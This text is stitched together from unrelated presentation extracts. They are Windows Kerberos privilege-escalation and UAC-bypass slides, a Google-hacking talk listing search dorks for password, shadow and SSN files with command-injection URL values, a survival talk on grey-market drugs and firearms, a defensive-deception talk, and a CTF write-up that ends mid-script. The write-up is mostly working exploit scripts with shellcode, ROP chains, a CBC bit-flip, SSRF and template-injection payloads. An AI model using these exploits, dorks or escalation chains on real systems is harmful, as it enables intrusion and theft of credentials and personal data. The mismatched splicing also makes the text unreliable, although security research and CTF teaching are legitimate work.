protection/credential-guard/credential-guard-considerations
LSA Loopback Library
BYOKDC
User Session
Local Security Authority
Kerberos Security Package
Our Code
(Initialize/Accept)SecurityContext
No Fly Zone!
Bring Your Own KDC?
KDC.FAKE
KDC Pinning
struct SECPKG_CALL_PACKAGE_PIN_DC_REQUEST {
ULONG MessageType;
ULONG Flags;
UNICODE_STRING DomainName;
UNICODE_STRING DcName;
ULONG DcFlags;
};
MessageType can be SecPkgCallPackagePinDcMessage or KerbPinKdcMessage
User Session X
Custom KDC
Local Security Authority
TGS-REP Local KDC
Kerberos Security
Package
Client
LsaCallAuthPackage
FAKE
Y
Host
PID
Realm
TID
X
localhost
krbtgt@FAKE
❶ Pin our fake KDC to
localhost
User Session X
Custom KDC
Local Security Authority
TGS-REP Local KDC
Kerberos Security
Package
Client
fake credentials
LsaLogonUser
FAKE
Y
Host
PID
Realm
TID
X
localhost
KerbMakeSocketCall
krbtgt@FAKE
❷ Issue our own
tickets with arbitrary
PAC data
(despite being
different domains)
CIFS/CLIENT
TGS U2U
bob@REALM
PAC w/admin
u: FAKE\bob
pw: WooHoo!
Demo Time
“Security
Boundaries”
and where they aren’t
Service Account S4U2Self
KDC.REALM
Service Account Session
Local Security Authority
Client
LsaLogonUser(S4U, …)
UPN: Admin
Realm: REALM
TGS-REP
+ PA-FOR-USER
Access Token
User: REALM\Admin
Level: Identification
We have
SeImpersonate but
the token is locked to
Identification
KEY: svc@REALM
CNAME: Admin
S4U TCB Privilege Check
KerbCreateTokenFromLogonTicket(...) {
if (MessageType == KerbTicketLogon || MessageType == KerbTicketUnlockLogon ||
MessageType == KerbS4ULogon || …
){
if (!ClientInfo.HasTcbPrivilege)
PrimaryCredentials->Flags |= PRIMARY_CRED_LOGON_NO_TCB;
}
}
LsapAuApiDispatchLogonUser(...) {
BOOL UseIdentify = PrimaryCredentials.Flags & PRIMARY_CRED_LOGON_NO_TCB;
LsapCreateV3Token(...
(UseIdentify ? TokenImpersonation : TokenPrimary),
(UseIdentify ? SecurityIdentification : SecurityImpersonation),
&Token
);
}
Service Account Session
KRB_CRED
krbtgt/REALM
Service Account S4U2Self
KDC.REALM
Local Security Authority
Client
krbtgt/REALM
TGT
TGT Extraction
Service Account Session
KRB_CRED
krbtgt/REALM
Service Account S4U2Self
KDC.REALM
Local Security Authority
Client
KEY: svc@REALM
CNAME: Admin
TGS-REP
+ PA-FOR-USER
krbtgt/REALM
TGT
Service Account Session
KRB_CRED
krbtgt/REALM
Service Account S4U2Self
KDC.REALM
Local Security Authority
Client
KEY: svc@REALM
CNAME: Admin
Access Token
User: REALM\Admin
Level: Impersonation
krbtgt/REALM
TGT
KEY: svc@REALM
CNAME: Admin
AcceptSecurityContext
What about UAC ?
2.2.5. LSAP_TOKEN_INFO_INTEGRITY
The LSAP_TOKEN_INFO_INTEGRITY structure specifies the
integrity level information for the client.<7>
typedef struct _LSAP_TOKEN_INFO_INTEGRITY {
unsigned long Flags;
unsigned long TokenIL;
unsigned char MachineID[32];
}
[MS-KILE]: Kerberos Protocol Extensions
Authoriziation Data Entries
AP-REQ
Service Ticket
bob@REALM
PAC
KERB-AD-RESTRICTION-ENTRY
_LSAP_TOKEN_INFO_INTEGRITY {
Flags = RestrictedToken;
TokenIL = Medium;
MachineID = {FEED-ACDC};
}
Authorization
Data
Authenticator
Authorization
Data
[...]
Ticket’s AD entry taken in
preference to Authenticator’s
Token Filtering Logic
LSA Token Filtering
No Filtering
Filter Token
User is a
Local
Account
Local Account
Token Filtering
is enabled
Machine is not
a domain
controller
&&
&&
True
False
True
True
True
False
via LsaISetSupplementalTokenInfo()
False
info.MachineId ==
LsapGlobalMachineID
Network Auth Token
Filtering is enabled
info.Flags &
LimitedToken
Service Account Session
Kerberos UAC Bypass
KDC.REALM
Local Security Authority
Client
Service Session
RPC/CLIENT
TGS
uac admin
Session
Key
Auth
Data
LsaCallAuthPackage
❶ Request service
ticket and session
key from ticket
cache
SCM RPC
Service
Kerberos Security
Package
Service Account Session
Kerberos UAC Bypass
KDC.REALM
Local Security Authority
Client
Service Session
❷ Manually renew
the service ticket
without any
authorization data
RPC/CLIENT
TGS
Session
Key
Auth
Data
SCM RPC
Service
Kerberos Security
Package
Service Account Session
Kerberos UAC Bypass
KDC.REALM
Local Security Authority
Client
Service Session
Kerberos Security
Package
❸ Pass clean ticket
to RPC server
RPC/CLIENT
TGS
Auth
Data
SCM RPC
Service
Session
Key
Full Token
Demo Time
Wrap Up Time
CVE-2022-35756
cred->Flags & SECPKG_CRED_ATTR_PAC_BYPASS
(auto) AcquireCredentialsHandle w/
SECPKG_CRED_INBOUND && NT AUTHORITY\SERVICE &&
!KerbGlobalValidateKDCPACSignature
(manual) SetCredentialsAttributes w/SeTcbPrivilege
“SYSTEM” Equivalent
SeTcbPrivilege || SYSTEM || LOCAL/NETWORK SERVICE
context->Flags & ASC_RET_USE_SESSION_KEY
Logon Session:
Credentials Handle:
ASC Context Flags:
Mitigation Thoughts
●
Enable KerbGlobalValidateKDCPACSignature
○
Prevent “NT AUTHORITY\SERVICE” SID from bypassing PAC verification
○
Doesn’t prevent “LOCAL/NETWORK SERVICE” or “SYSTEM” though
●
Force Kerberos Armoring / FAST
○
Makes it harder to tamper with network traffic
●
Enable Credential Guard
○
Block trivial access to TGT session keys
●
Build Kerberos firewall rules
○
Block access to KDCs outside an approved list
Special privileges assigned to new logon.
Subject:
Security ID: REALM\bob
Account Name: bob
Account Domain: REALM
Logon ID: 0x4b842
Privileges:
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
...
Security -> Logon/Logoff -> Special Logon -> Event 4672
Detection Thoughts
Limitations of Time
NtApiDotNet (tooling used in presentation)
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools
UAC Bypass Trickery
https://www.tiraniddo.dev/2022/03/bypassing-uac-in-most-complex-way.html
Remote Credential Guard Code Execution
https://bugs.chromium.org/p/project-zero/issues/detail?id=2271
AppContainer Escapes
https://bugs.chromium.org/p/project-zero/issues/detail?id=2273
LSASS Impersonation Check Failures
https://bugs.chromium.org/p/project-zero/issues/detail?id=2278
Service Account S4U Elevation
https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/
Acknowledgements
Elad Shamir | @elad_shamir
Benjamin Delpy | @gentilkiwi
Will Schroeder | @harmj0y
Christoph Falta | @cfalta
Charlie Clark | @exploitph
One Last Thing !
Questions ? | pdf |
Watching the
Watchers
Target Exploitation via Public
Search Engines
mail://[email protected]
http://johnny.ihackstuff.com
what’s this about?
using search engines to do interesting
(sometimes unintended) stuff
sp3ak l1ke l33to hax0rs
act as transparent proxy servers
sneak past security
find development sites
what’s this about?
using search engines to find exploitable
targets on the web which
run certain operating systems
run certain web server software
harbor specific vulnerabilities
harbor sensitive data in public directories
harbor sensitive data in public files
automating the process: googlescan
pick your poison
we have certain needs from a search engine:
advanced search options (not just AND’s and OR’s)
browsing down or changed pages (caching)
instant response (zero-wait)
document and language translations
web, news, image and ftp searches
The obvious choice: Google
not new...
Vincent GAILLOT
<[email protected]
lyon.fr> posted this to
BUGTRAQ nearly two
years ago...
doing interesting stuff
hax0r, “Google hacks,” proxy, auth
bypass, finding development sites
hax0r
for those of us
spending way
too much time
spe@king
hax0r...
/misc: “Google Hacks”
There is this book.
And it’s an O’REILLY book.
But it’s not about hacking.
It’s about searching.
I didn’t write it.
Because if I wrote it, it would really be about hacking
using Google and that would get both Google and
O’REILLY both really upset and then lawyers would get
involved, which is never good unless of course the lawyer
happens to be Jennifer Granick... =)
proxy
Google offers a
very nice
language
translation
service.
for example,
translating from
english to
spanish...
proxy
Our english-to-spanish translated Google page is:
http://translate.google.com/translate
(main URL)
?u=http://www.defcon.org&langpair=en|es
(options)
What happens if we play with the options a bit to provide an
english-to-english translation, for example?
http://translate.google.com/translate
(main URL)
?u=http://www.defcon.org&langpair=en|en
(options)
proxy
we’re surfing
through Google,
not to the evil
DEFCON page.
The boss will be
sooo proud! 8P
proxy
proxy
Google proxy bouncers
http://exploit.wox.org/tools/googleproxy.html
http://johnny.ihackstuff.com
finding development sites
this is a copy of a
production site found on
a web development
company’s server...
use unique phrases from
an existing site to find
mirrors or development
servers hosting the same
page.
finding development sites
•
troll the development site with another search looking
for more files on that server...
finding development sites
•
eventually, creative searching can lead to pay dirt: a source code dump
dir!
auth bypass
Let’s say an attacker is interested in
what’s behind www.thin-ice.com, a
password protected page:
auth bypass
One search gives us insight into the
structure of the site:
auth bypass
Another search gives a cache link:
auth bypass
Another click takes us to the cached version of
the page (no password needed!)
auth bypass
One more click to the really interesting
stuff... site source code!
*this site was notified and secured before making this public. sorry, kids ;-)
evil searching: the
basics
tools of the trade
Google search syntax
Tossing Google around requires a firm
grasp of the basics.
Many of the details can be found here:
http://www.google.com/apis/reference.html
simple word search
A simple search...
simple word search
...can return amazing results. This is the contents of a
live .bash_history file!
simple word search
Crawling around on the same web site reveals a
firewall configuration file complete with a username and
password...
simple word search
...as well as an ssh known hosts file!
simple phrase search
Creativity with search phrases (note the use of quotes)…
simple phrase search
...can reveal interesting tidbits like
this Cold Fusion error message.
simple phrase search
(Error messages
can be very
revealing. )
simple phrase search II
Sometimes the most idiotic searches
(“enter UNIX command”)...
simple phrase search II
...can be the most rewarding!
symbol
use
+ (plus)
AND, force use
- (dash)
NOT (when used outside
quotes)
. (period)
any character
- (dash)
space (when used in
quotes)
* (asterisk)
wildcard word (when used
in quotes)
special characters
site: site-specific search
site:gov boobs
site: crawling
site:defcon.org defcon
-use the site: keyword
along with the site name
for a quick list of
potential servers and
directories
site: crawling
-use the site: keyword
along with a common file
extension to find
accidental directory
listings..
Date Searching
•
Date Restricted
Search
•
Star Wars daterange:2452122-
2452234
•
If you want to limit your results to documents that
were published within a specific date range, then
you can use the “daterange: “ query term to
accomplish this. The “daterange:” query term
must be in the following format:
•
daterange:<start_date>-<end date> where
•
<start_date> = Julian date indicating the start of
the date range
<end_date> = Julian date indicating the end of
the date range
•
The Julian date is calculated by the number of
days since January 1, 4713 BC. For example, the
Julian date for August 1, 2001 is 2452122.
Title searching
Starting a query with the term "allintitle:"
restricts the results to those with all of the
query words in the title.
allintitle: Google search
Title Search (all)
If you prepend "intitle:" to a query term,
Google search restricts the results to
documents containing that word in the
title. Note there can be no space between
the "intitle:" and the following word.
Note: Putting "intitle:" in front of every word
in your query is equivalent to putting
"allintitle:" at the front of your query.
intitle:Google search
Title Search (term)
INURL: URL Searches
inurl: find the search term within the URL
inurl:admin
inurl:admin
users mbox
inurl:admin users
passwords
filetype:
filetype:xls “checking
account” “credit card”
many more examples
coming... patience...
finding interesting stuff
finding OS and web server versions
Windows-based default server
intitle:"Welcome to Windows 2000 Internet Services"
Windows-based default server
intitle:"Under construction" "does not currently have"
Windows NT 4.0
intitle:“Welcome to IIS 4.0"
OpenBSD/Apache (scalp=)
“powered by Apache” “powered by openbsd"
Apache 1.2.6
Intitle:”Test Page for Apache” “It Worked!”
Apache 1.3.0 – 1.3.9
Intitle:”Test Page for Apache” “It worked!” “this web site!”
Apache 1.3.11 - 1.3.26
"seeing this instead" intitle:"Test Page for Apache"
Apache 2.0
Intitle:”Simple page for Apache” “Apache Hook Functions”
Directory Info Gathering
•
Some servers, like Apache, generate a server version tag...
Apache Version Info
...which we can harvest for some quick stats...
•Apache
Version
•Number
of Servers
•
1.3.6
•
119,00
0.00
•
1.3.3
•
151,00
0.00
•
1.3.14
•
159,00
0.00
•
1.3.24
•
171,00
0.00
•
1.3.9
•
203,00
0.00
•
2.0.39
•
256,00
0.00
•
1.3.23
•
259,00
0.00
•
1.3.19
•
260,00
0.00
•
1.3.12
•
300,00
0.00
•
353,00
Weird Apache Versions
Esoteric Apache Versions found on Google
query: intitle:"Index of" "Apache/[ver] Server at"
310
27,300
5
60,500
69,300
74
61
3
9
20
2
1,130
474
62,900
9,400
739
33
30
207
93
245
1,120
65,000
64,200
45,200
0
10000
20000
30000
40000
50000
60000
70000
80000
1.2.6
1.3b6
1.3.0
1.3.1
1.3.2
1.3.4-dev
1.3.4
1.3.7-dev
1.3.11
1.3.15-dev
1.3.17
1.3.17-HOF
1.3.21-dev
1.3.23-dev
1.3.24-dev
1.3.26+interserver
1.3.xx
2.0.16
2.0.18
2.0.28
2.0.32
2.0.35
2.0.36
2.0.37-dev
2.0.40-dev
A p a c h e V e r s i o n
Number of Servers
Common Apache Versions
Common Apache Versions found on Google
query: intitle:"Index of" "Apache/[ver] Server at"
159,000
260,000
353,000
495,000
259,000
171,000
896,000
256,000
119,000
151,000
203,000
300,000
0.00
200,000.00
400,000.00
600,000.00
800,000.00
1,000,000.00
1.3.12
1.3.14
1.3.19
1.3.20
1.3.22
1.3.23
1.3.24
1.3.26
1.3.3
1.3.6
1.3.9
2.0.39
Apache Server Version
Number of Servers
vulnerability trolling
finding 0day targets...
vulnerability trolling
A new vulnerability hits the streets...
vulnerability trolling
The vulnerability lies in a cgi script called “normal_html.cgi”
vulnerability trolling
212 sites are
found with the
vulnerable CGI
the day the exploit
is released.
more interesting stuff...
finding sensitive data in directories
and files
Directory Listings
Directory listings are often misconfigurations in
the web server.
A directory listing shows a list of files in a
directory as opposed to presenting a web
page.
Directory listings can provide very useful
information.
Directory Example
a query of
intitle:”Index of”
reveals sites like
this one.
The “intitle”
keyword is one
of the most
powerful in the
google master’s
arsenal...
Directory Example
notice that the
directory listing
shows the
names of the
files in the
directory.
we can combine
our “intitle”
search with
another search
to find specific
files available on
the web.
Intitle:”Index of” .htpasswd
Lots more
examples
coming. Stick
around for the
grand finale...
finding interesting stuff
automation: googlescan
Googlescan
With a known set of file-based web
vulnerabilities, a vulnerability scanner
based on search engines is certainly a
reality.
Let’s take a look at a painfully simple
example using nothing more than UNIX
shell commands...
Googlescan.sh
first, create a file
(vuln_files) with the
names of cgi
programs...
Googlescan.sh
rm temp
awk -F"/"
'{print $NF"|http://www.google.com/search?q=
intitle%3A%22Index+of%22+"$NF}' vuln_files > queries
for query in `cat queries`
do
echo -n $query"|" >> temp
echo $query | awk -F"|" '{print $2}'
lynx -source `echo $query | awk -F"|" '{print $2}'` |
grep "of about" |
awk -F "of about" '{print $2}' |
awk -F"." '{print $1}' |
tr -d "</b>[:cntrl:] " >> temp
echo " " >> temp
Done
cat temp |
awk -F"|" '{print "<A HREF=\"" $2 "\">" $1 " (" $3 "hits)
</A><BR><BR>"}' | grep -v "(1,770,000" > report.html
...then, use this shell
script...
Googlescan.sh output
...to output an
html list of
potentially
vulnerable or
interesting web
servers
according to
Google.
http://johnny.ihackstuff.com/googledorks.shtml
more interesting stuff
Rise of the Robots
Rise of the Robots
“Rise of the Robots”, Phrack 57-10 by
Michal Zalewski: autonomous malicious
robots powered by public search engines
Search engine crawlers pick up malicious
links and follow them, actively exploiting
targets
Rise of the Robots: Example
Michal presents the following example links on his
indexed web page:
http://somehost/cgi-bin/script.pl?p1=../../../../attack
http://somehost/cgi-bin/script.pl?p1=;attack
http://somehost/cgi-bin/script.pl?p1=|attack
http://somehost/cgi-bin/script.pl?p1=`attack`
http://somehost/cgi-bin/script.pl?p1=$(attack)
http://somehost:54321/attack?`id`
http://somehost/AAAAAAAAAAAAAAAAAAAAA...
Rise of the Robots: Results
Within Michal’s study, the robots followed all
the links as written, including connecting to
non-http ports!
The robots followed the “attack links,”
performing the attack completely unawares.
Moral: Search engines can attack for you, and
store the results, all without an attacker
sending a single packet directly to the target.
Prevention
Locking it down
Google’s advice
This isn’t Google’s fault.
Google is very happy to remove
references. See
http://www.google.com/remove.html.
Follow the webmaster advice found at
http://www.google.com/webmasters/faq.h
tml.
My advice
Don’t be a dork. Keep it off the web!
Scan yourself.
Be proactive.
Watch googledorks
(http://johnny.ihackstuff.com/googledorks.shtml)
Finally....
The Grand Finale!
intitle:index.of test-cgi
intitle:index.of page.cfm
exploitable by
passing invalid
?page_id=
intitle:index.of dead.letter
intitle:index.of pwd.db
passwd –pam.conf
intitle:index.of master.passwd
intitle:index.of..etc passwd
intitle:index.of passwd
intitle:"Index.of..etc" passwd
intitle:"Index.of..etc" passwd
intitle:"Index.of..etc" passwd
intitle:index.of auth_user_file.txt
intitle:index.of pwd.db
passwd –pam.conf
intitle:index.of ws_ftp.ini
intitle:index.of
administrators.pwd
intitle:index.of people.lst
intitle:index.of passlist
intitle:index.of .htpasswd
intitle:index.of “.htpasswd” htpasswd.bak
intitle:index.of “.htpasswd” htpasswd.bak
intitle:index.of “.htpasswd” htpasswd.bak
intitle:index.of secring.pgp
intitle:index.of..etc hosts
intitle:index.of..etc hosts
intitle:Index.of etc shadow
intitle:index.of passlist
filetype:xls username password email
intitle:index.of config.php
social security numbers
how about a few
names and
SSN’s?
social security numbers II
How about a few
thousand
names and
SSN’s?
social security numbers III
How about a few
thousand more
names and
SSN’s?
Final words...
other google press..
“Mowse: Google Knowledge: Exposing Sensitive data with Google”
http://www.digivill.net/~mowse/code/mowse-googleknowledge.pdf
“Autism: Using google to hack”
www.smart-dev.com/texts/google.txt
“Google hacking”:
https://www.securedome.de/?a=actually%20report (German)
“Google: Net Hacker Tool du Jour”
http://www.wired.com/news/infostructure/0,1377,57897,00.html
EOF
<plug> Watch googleDorks. </plug>
Questions?
Contact Me / Get stuff:
http://johnny.ihackstuff.com
[email protected]
Special Thanks to j3n, m@c, tr3 and p3@nut! =) | pdf |
Personal Survival Preparedness
Copyright 2009
Steve Dunker
Las Vegas Survival Scenario
• Aug 1st 2009 -- 2 Million People
• Dec 1st 2009 – 100,000 people
• Can you Survive?
Basic Survival Needs
•Air
•Water
•Food
•Enviroment
Detailed Basic Needs
• “The physiological needs include the needs we
have for oxygen, water, protein, salt, sugar,
calcium, and other minerals and vitamins.
They also include the need to maintain a pH
balance (getting too acidic or base will kill
you) and the need for a body temperature
98.6 (or near to it). Also, there’s the needs to
be active, to rest, to sleep, and the need to get
rid of wastes (CO2, sweat, urine, and feces).”
Water
• Daily Need
• Contamination concerns
• Unconventional sources
Food
• Sources
• Contamination
• Unconventional sources
Minerals and Vitamins
• Salt
• Vitamins
Survival SnapShot
•What do you have on
you (or close by) that
will help you survive?
The Disaster Environment
• Working together 1-4 hours
• +4 hours chaos starts
Firearms From the Net
• Disclaimer: Check your Local and State Laws
• Disclaimer: Crime and Guns = Hard time
• Most States allow firearm purchases from the
Internet
• Federal Law requires Federal Firearms License
unless it is an “Antique” gun. (Pre-1899)
“C&R” License
• BATF issues Federal Firearm Licenses
• “C&R” = Curio and Relic
• BATF Type 3 License
• Licensed collector of Curio & Relic (C&R)
firearms
• $30 for 3 years
• 4 page application & Fingerprints
“C&R” Guns
• “Firearms which were manufactured more than 50
years prior to the current date, but not including
replicas thereof;
• Firearms which are certified by the curator of a
municipal, State, or Federal museum which exhibits
firearms to be curios or relics of museum interest;
and
• Any other firearms which derive a substantial part of
their monetary value from the fact that they are
novel, rare, bizarre, or because of their association
with some historical figure, period, or event. ….”
C & R Examples
• World War Two Weapons
- M1 Garand
- K98 Mauser
• Some cold war weapons
- Some SKS
- Walther, model PP and PPK
Survival Considerations
•Ammo
•Hunting
•Self Defense
•Safety
•Ease of Use
Legal Use of Firearms
•Self Defense
•Defense of Others
Survival Medicine
• Your Current Requirements
- Future use
• Past Use (How often do you need
meds)
• Over the Counter
Two Books You Need
• “Where there is No Doctor”
• “Where there is No Dentist”
• Published by hesperian.org
Potassium Iodide
• After 9/11 U.S. Govt. recommended
• Nuke Pills
• $9 for a weeks dose
Grey Market Meds
• Disclaimer: Know your Federal and State
laws
• Canada
• Mexico
• Other outside sources
Grey Market Meds
• Online sources will help you keep
your fish, birds, and hookers well.
• Antibiotics for fish have been
packaged in human doses for many
years.
• Unknown Quality
• Amoxicillin 500mg (90 pills) $24.52
Myth No. 1
The Govt will save you!
• Disaster response takes days depending on
the circumstances.
• Short term response is limited to one day
travel.
Myth No. 2
The Trucks will Keep Rolling
• The supplies on hand are all you can count on.
Vegas Survival Scenario
• Answer to the Vegas Survival Scenario | pdf |
Traps
of
Gold
Michael
Brooks
&
Andrew
Wilson
Cau.on.
Please
vet
anything
discussed
with
legal
and
management.
FRUSTRATION
http://www.flickr.com/photos/14511253@N04/4411497087/sizes/o/in/photostream/
Our
en.re
defense
strategy
is
REACTIVE…
AKA,
losing
Fixes
known
issues
Someone
already
pwnd
it
Already
in
Produc@on!
Patch
Management
Reduces
Vulnerabili@es
Expensive
Limited
Effec@veness
Secure
Development
Free
groping
at
airport
You
aren’t
safer
Introduces
vulnerabili@es
Security
Theater
What
is
missing?
But
if
they
aren’t
working…
Fight
Back
http://www.flickr.com/photos/superwebdeveloper/5604789818/
sizes/l/in/photostream/
“
We
conclude
that
there
exists
no
clear
division
between
the
offense
and
defense.
-‐
USMC,
Warfigh.ng
w.flickr.com/photos/travis_simon/
3/sizes/z/in/photostream/
They
have:
AUackers
are
human
too.
• Finite
@me
• Imperfect
tools
• Emo@on
/
Ego
/
Bias
• Risk
AUack
them
there.
So...
“
If
I
have
seen
further,
it
is
only
by
standing
on
the
shoulder
of
giants.
-‐
Sir
Isaac
Newton
Traps
of
Gold
IDS
Systems
Honeypots
Exploits
Attrition
Maneuver
Two
Models
of
Warfare
Maneuverability
http://www.flickr.com/photos/travis_simon/
3865383863/sizes/z/in/photostream/
Stack
the
Deck
http://www.flickr.com/photos/jonathanrh/5817317551/sizes/o/in/photostream/
“
To
act
in
such
a
way
that
the
enemy
does
not
know
what
to
expect.
Ambiguity:
Ambiguity
Server
Banners
File
Extensions
Default
Files
Who
needs
this?
The
browser
doesn’t
care.
Why
leave
these
up?
Shut
up.
If
knowing
is
half
the
baUle
“
Convince
the
enemy
we
are
going
to
do
something
other
than
what
we
are
really
going
to
do
Decep.on
Lie
about
the
rest.
Reduce
what
they
can
know
Blatantly
lying.
Increase
the
noise
by…
Issues
Iden@fied
Before
AUer
19
5462
Nikto
6
300
Skipfish
6
300
Wapiti
6
300
w3af
6
300
Prod
scan
6
300
Prod
scan
6
300
Prod
scan
See
updates
after
talk
That’s
real
though!
Will
it?
But
that
wont
fool
people…
Some
lies
are
beUer.
http://www.flickr.com/photos/randomurl/459180872/sizes/l/in/photostream/
“
The
secrets
of
victory
thus
lie
in
the
taking
of
ini.a.ve.
Ambiguity:
Tempo
It’s
about
awareness
and
ac.ng
sooner.
It’s
not
about
reac.on
Perceived
Actual
AXack
Surface
I
made
this
up!
And
I
can
watch
for
this.
http://www.flickr.com/photos/derek_b/5837741974/sizes/o/in/photostream/
“
I
love
it
when
a
plan
comes
together.
-‐Hannibal
Misdirec@on
ShuYng
down
tools
Increasing
awareness
So
far
we’ve
shown:
Can
we
break
it?
But…
http://www.flickr.com/photos/20106852@N00/2238271809/sizes/o/in/photostream/
To
recap.
Stop
ac.ng
like
this…
Start
ac.ng
like
this.
http://www.flickr.com/photos/kriztofor/3253758933/sizes/o/in/photostream/
Fight
Back
http://www.flickr.com/photos/superwebdeveloper/5604789818/
sizes/l/in/photostream/
Capture
The
Flag
The
winner
takes
all
hUp://cY.doublethunk.org | pdf |
CTF WriteUp By Nu1L
Author:Nu1L
CTF WriteUp By Nu1L
PWN
harmoshell
harmoshell2
pwn1
RE
crash
re123
ARM
puzzle
WEB
ezlogin
HCIE
RW
harmofs01
luaplayground01 && luaplayground02
MISC
RSP
PWN
harmoshell
echoshellcode
from pwn import *
import fuckpy3
context.log_level = 'debug'
# p = process('./qemu-riscv64 -L ./libs/ ./harmoshell'.split(' '))
# p = process('./qemu-riscv64 -g 1235 -L ./libs/ ./harmoshell'.split(' '))
p = remote('121.37.222.236', 9999)
def launch_gdb():
raw_input()
def sc(s):
p.recvuntil('$ ')
p.sendline(s)
harmoshell2
Tcache GOT
sc("touch " + 'a'*15)
sc("touch " + 'b'*15)
# sc("cat " + 'a'*16)
sc('echo >> ' + 'a'*15)
sleep(0.1)
# 0x40007ffd40
# shellcode
='0343a4b79794849b04b27b74849304b234b4849304b622f48493fe913823fe013c23ff010513f
ff02593fff026130dd0089300000073'.unhex()
payload = b''
payload +=p32(0x343a4b7)
payload +=p32(0x9794849b)
payload +=p16(0x04b2 )
payload +=p32(0x7b748493)
payload +=p16(0x04b2 )
payload +=p32(0x34b48493)
payload +=p16(0x04b6 )
payload +=p32(0x22f48493)
payload +=p32(0xfe913823)
payload +=p32(0xfe013c23)
payload +=p32(0xff010513)
payload +=p32(0xfff02593)
payload +=p32(0xfff02613)
payload +=p32(0x0dd00893)
payload +=p32(0x00000073)
shellcode = payload
p.send(shellcode)
sc('echo > ' + 'c'*15)
sleep(0.1)
p.send(shellcode.ljust(0x138,b'a') + p64(0x25f10))
p.interactive()
# -*- coding: utf-8 -*-
import sys
from pwn import *
context.log_level ='debug'
# HOST, PORT = "127.0.0.1", "31338"
HOST, PORT = "139.159.132.55", "9999"
p = remote(HOST, PORT)
def touch(para):
p.sendlineafter('$ ', 'touch '+para)
def rm(para):
p.sendlineafter('$ ', 'rm '+para)
def cat(para):
p.sendlineafter('$ ', 'cat '+para)
def ls():
p.sendlineafter('$ ', 'ls')
def echo(para, cnt):
p.sendlineafter('$ ', 'echo > '+para)
p.send(cnt)
def echo2(para, cnt):
p.sendlineafter('$ ', 'echo >> '+para)
p.send(cnt)
touch('a')
touch('b')
touch('c')
payload = b''
payload +=p32(0x343a4b7)
payload +=p32(0x9794849b)
payload +=p16(0x04b2)
payload +=p32(0x7b748493)
payload +=p16(0x04b2)
payload +=p32(0x34b48493)
payload +=p16(0x04b6)
payload +=p32(0x22f48493)
payload +=p32(0xfe913823)
payload +=p32(0xfe013c23)
payload +=p32(0xff010513)
payload +=p32(0xfff02593)
payload +=p32(0xfff02613)
payload +=p32(0x0dd00893)
payload +=p32(0x00000073)
shellcode = payload
echo('a', shellcode)
rm('c')
echo('b', 'b'*0x100)
echo2('b', p64(0)+p64(0x31)
+p64(0x4000800150)+p64(0x4000800155)
+p64(0x4000800158)+p64(0x100)
+p64(0x0)+p64(0x111)
+p64(0x13070))
pwn1
arm
RE
crash
md5
touch('d')
touch('e')
echo('e', p64(0x25f10))
p.interactive()
from pwn import *
s = remote("139.159.210.220","9999")
elf = ELF("./bin")
libc = ELF("./libc-2.31.so")
#csu
payload = cyclic(260)
payload +=
p32(0x10540)+p32(0x2100C)+p32(1)+p32(0x2100C)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0
x10548)
payload += 'A'*28+p32(0x103A8)
s.recvuntil("input: ")
s.send(payload)
#leak
tmp = u32(s.recv(4))
offset = tmp-libc.sym['printf']
#system
pop = offset+0x0006beec
system = libc.sym['system']+offset
sh = next(libc.search('/bin/sh'))+offset
payload = cyclic(260)+p32(pop)+p32(sh)+p32(0)+p32(system)
s.recvuntil("input: ")
s.send(payload)
s.interactive()
from hashlib import md5
import string
re123
Chmdlldll
AESAESflag
ARM
256
puzzle
884226886224488
base64
WEB
dec = ['bf2b36d56f5757c13cad80494b385e78',
'3fe9dbae5dc4408350500affa20074aa',
'1fa6770eca6b57e47a042ffe52eca8ff',
'1aad6b7da1122b4b5a53bf5a4d3b11b0',
'e7b77d9e0ab19fc9ea98154f994fccc5',
'75d9128cfeb61b8949664f6a067f6469',
'd8b0a52c64d6075017b7346140550c46',
'306529c7cdedfb06e27b39f7b2babf4d']
flags = [0] * 8
table = string.printable
table2 = ''
for i in table:
table2 += chr(ord(i) ^ 0x17)
for i1 in table2:
for i2 in table2:
for i3 in table2:
for i4 in table2:
if md5(i1+i2+i3+i4).hexdigest() in dec:
print(i1+i2+i3+i4,md5(i1+i2+i3+i4).hexdigest())
flags[dec.index(md5(i1+i2+i3+i4).hexdigest())] =
i1+i2+i3+i4
res = ''
for i in flags:
for j in i:
res += chr(ord(j) ^ 0x17)
print(res)
flag{define_a_fully-connected_world_with_your_code}
ezlogin
CBC+SSRF
import base64
import urllib
import requests
import re
url="http://121.37.196.163:8080/"
data={
"username":"admia",
"password":"12345"
}
tmp="PHPSESSID={}; key={}; user_info={}"
header=requests.post(url,data).headers
PHPSESSID=header["Set-Cookie"].split(";")[0].split("=")[1]
key=urllib.unquote(header["Set-Cookie"].split(";")[1].split(",")[1].split("=")
[1])
user_info=urllib.unquote(header["Set-Cookie"].split(";")[1].split(",")
[2].split("=")[1])
plain=base64.b64decode(user_info)
result=plain[0:13]+chr(ord(plain[13])^ord("n")^ord("a"))+plain[14:]
cookies=tmp.format(urllib.quote(PHPSESSID),urllib.quote(key),urllib.quote(base6
4.b64encode(result)))
text=requests.get(url,headers={"Cookie":cookies}).text
r=re.compile("<p>(.*?)</p>")
tmp=r.findall(text)[0]
plain=base64.b64decode(tmp)
oldiv=base64.b64decode(key)
one='a:2:{s:8:"userna'
iv=""
for i in range(0,16):
iv=iv+chr(ord(one[i])^ord(plain[i])^ord(oldiv[i]))
ccc=base64.b64encode(iv)
HCIE
userinfo
flag
RW
harmofs01
seekoffsetsize stdout
FSOP IO
tmp="PHPSESSID={}; key={}; user_info={}"
result_1=tmp.format(urllib.quote(PHPSESSID),urllib.quote(ccc),urllib.quote(base
64.b64encode(result)))
# print(result_1)
header={
"Cookie":result_1
}
session=requests.session()
session.get(url,headers=header)
text=session.get(url+"mmman4g.php?
url=FILE://www.harmonyos.com/../../../../../../../../var/www/html/flag.php",hea
ders=header).text
print(text)
xxxx","__proto__": {"isAdmin": 1},"abc":"1
code={{#each this}}{{#each this}}{{{this.toString}}}{{/each}}{{/each}}
from pwn import *
# s = process('./start_qemu.sh')
s = remote("121.37.160.91","32725")
def touch(name,size):
sleep(0.05)
s.sendlineafter('Sh > ','touch')
sleep(0.05)
s.sendlineafter('File size: ',str(size))
sleep(0.05)
s.sendlineafter('File name: ',name)
def readx(name,size):
sleep(0.05)
s.sendlineafter('Sh > ','fileop')
sleep(0.05)
